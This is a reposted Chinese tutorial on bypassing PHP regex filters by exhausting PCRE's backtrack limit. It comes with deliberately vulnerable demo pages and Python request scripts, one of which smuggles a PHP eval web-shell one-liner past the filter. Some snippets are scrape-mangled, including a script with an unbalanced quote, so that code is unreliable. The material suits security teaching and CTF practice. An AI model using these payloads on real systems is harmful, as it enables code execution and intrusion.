php正则回溯绕过最大次数上限案例详解

吾爱主题 阅读:220 2022-11-13 15:15:00 评论:0

什么是正则回溯

从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。

非贪婪模式回溯过程:

text = "abc"
regex = "ab{1,3}c"

为什么可以利用正则回溯进行绕过

大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

  • 使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例一

PHP源码:

?
1 2 3 4 5 6 7 8 9 10 <?php $input = $_POST [ 'file' ]; if (is_php( $input )== '0' ) {      echo "flag{raoguo-cenggong}" ; } else {      echo "bad requests" ; } function is_php( $data ){       return preg_match( '/<\?.*[(`;?>].*/is' , $data );  }

python绕过源码:

?
1 2 3 4 5 6 import requests datas = {      'file' : "<?php eval($_POST['oupeng']); ?>" + 'h' * 1000000 } res = requests.post(r 'http://127.0.0.1:91/demo/test1.php' , data = datas) print (res.text)

当回溯次数为999990次时的运行结果:

当回溯次数为1000000次时的运行结果:

php正则回溯绕过案例二

php源码:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function areyouok( $greeting ){      return preg_match( '/Merry.*Christmas/is' , $greeting ); } $greeting =@ $_POST [ 'greeting' ]; if (! is_array ( $greeting )){      if (!areyouok( $greeting )){          if ( strpos ( $greeting , 'Merry Christmas' )!==false){              echo 'flag{cheng-gong}' ;          } else {              echo 'no have Merry Christmas' ;          }      } else {          echo 'Bypass the failure' ;      } } ?>

python源码:

?
1 2 3 4 5 6 import requests datas = {      'greeting' : 'Merry Christmas' + 'h' * 100000 } res = requests.post(r 'http://127.0.0.1:91/demo/test2.php' , data = datas) print (res.text)

运行结果:

python测试:

没有 ‘Merry Christmas’ 前缀的运行结果

?
1 2 3 4 5 6 import requests datas = {      'greeting' : h' * 1000000 } res = requests.post(r 'http://127.0.0.1:91/demo/test2.php' , data = datas) print (res.text)

运行结果:

到此这篇关于php正则回溯绕过最大次数上限案例详解的文章就介绍到这了,更多相关php正则回溯内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/weixin_49472648/article/details/125876873

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容